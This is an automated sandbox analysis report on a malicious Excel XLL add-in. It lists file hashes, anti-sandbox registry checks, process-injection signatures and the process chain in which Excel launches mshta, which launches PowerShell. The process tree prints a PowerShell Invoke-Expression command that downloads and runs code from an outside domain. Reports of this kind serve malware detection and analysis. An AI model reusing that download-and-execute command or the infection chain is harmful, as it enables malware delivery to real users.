Analysis
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max time kernel
138s -
max time network
127s -
platform
windows10-2004_x64 -
resource
win10v2004-20240426-en -
resource tags
arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system -
submitted
22/05/2024, 17:07
Static task
static1
Behavioral task
behavioral1
Sample
2e6dc0623a5a2e10cb10d97765b1c257d891c09e7ed1fd2a781914adb0f7e32c.xll
Resource
win10v2004-20240426-en
Behavioral task
behavioral2
Sample
2e6dc0623a5a2e10cb10d97765b1c257d891c09e7ed1fd2a781914adb0f7e32c.xll
Resource
win11-20240508-en
General
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Target
2e6dc0623a5a2e10cb10d97765b1c257d891c09e7ed1fd2a781914adb0f7e32c.xll
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Size
12KB
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MD5
a12e7e1c4648c35bde84596a46cc5c0f
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SHA1
de05af0701333162ce1fb2b4efa8d58ef468bac5
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SHA256
2e6dc0623a5a2e10cb10d97765b1c257d891c09e7ed1fd2a781914adb0f7e32c
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SHA512
e16d6236c44f9f2aaaaddce4a595491b372c62633ffc8f7a594a973215cbb2cfdcf583be75618b9ae8e24b53a44e991d66042b812562bf5d705fd1c3d106b315
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SSDEEP
192:ML29RBzDzeobchBj8JONQONhru1rEPEjr7Ahb:i29jnbcvYJOVfu1vr7Cb
Malware Config
Extracted
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 3176 3248 mshta.exe 82 -
Blocklisted process makes network request 1 IoCs
flow pid Process 38 400 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-4018855536-2201274732-320770143-1000\Control Panel\International\Geo\Nation mshta.exe -
Loads dropped DLL 2 IoCs
pid Process 3248 EXCEL.EXE 3248 EXCEL.EXE -
pid Process 400 powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 3248 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 400 powershell.exe 400 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 400 powershell.exe -
Suspicious use of FindShellTrayWindow 2 IoCs
pid Process 3248 EXCEL.EXE 3248 EXCEL.EXE -
Suspicious use of SetWindowsHookEx 10 IoCs
pid Process 3248 EXCEL.EXE 3248 EXCEL.EXE 3248 EXCEL.EXE 3248 EXCEL.EXE 3248 EXCEL.EXE 3248 EXCEL.EXE 3248 EXCEL.EXE 3248 EXCEL.EXE 3248 EXCEL.EXE 3248 EXCEL.EXE -
Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 3248 wrote to memory of 3176 3248 EXCEL.EXE 89 PID 3248 wrote to memory of 3176 3248 EXCEL.EXE 89 PID 3248 wrote to memory of 3176 3248 EXCEL.EXE 89 PID 3176 wrote to memory of 400 3176 mshta.exe 90 PID 3176 wrote to memory of 400 3176 mshta.exe 90 PID 3176 wrote to memory of 400 3176 mshta.exe 90
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\2e6dc0623a5a2e10cb10d97765b1c257d891c09e7ed1fd2a781914adb0f7e32c.xll"1⤵
- Loads dropped DLL
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3248 -
C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\users\public\example.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5} mshta2⤵
- Process spawned unexpected child process
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3176 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (irm -Uri 'iapartmentlistings.com/tykhwuxk')3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:400
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
2KB
MD5f754844cfb65838d1dd6b19dde5d835c
SHA1b3eb677783adc88c8d048898449e04d49f416db6
SHA2563644b387519f3509a1ce3d2201e2e1e8af36217138cc6f9e62d6e37c887097a6
SHA512f42f89562b5c0be86dbd04683ee6c30711155acd1239e273da726c2bfedf5d0806c479b7107792c136bff6e97efb8d9145df0c176f499f86f1b7e304a2e3ccdf
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C:\Users\Admin\AppData\Local\Temp\2e6dc0623a5a2e10cb10d97765b1c257d891c09e7ed1fd2a781914adb0f7e32c.xll
Filesize12KB
MD5a12e7e1c4648c35bde84596a46cc5c0f
SHA1de05af0701333162ce1fb2b4efa8d58ef468bac5
SHA2562e6dc0623a5a2e10cb10d97765b1c257d891c09e7ed1fd2a781914adb0f7e32c
SHA512e16d6236c44f9f2aaaaddce4a595491b372c62633ffc8f7a594a973215cbb2cfdcf583be75618b9ae8e24b53a44e991d66042b812562bf5d705fd1c3d106b315
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82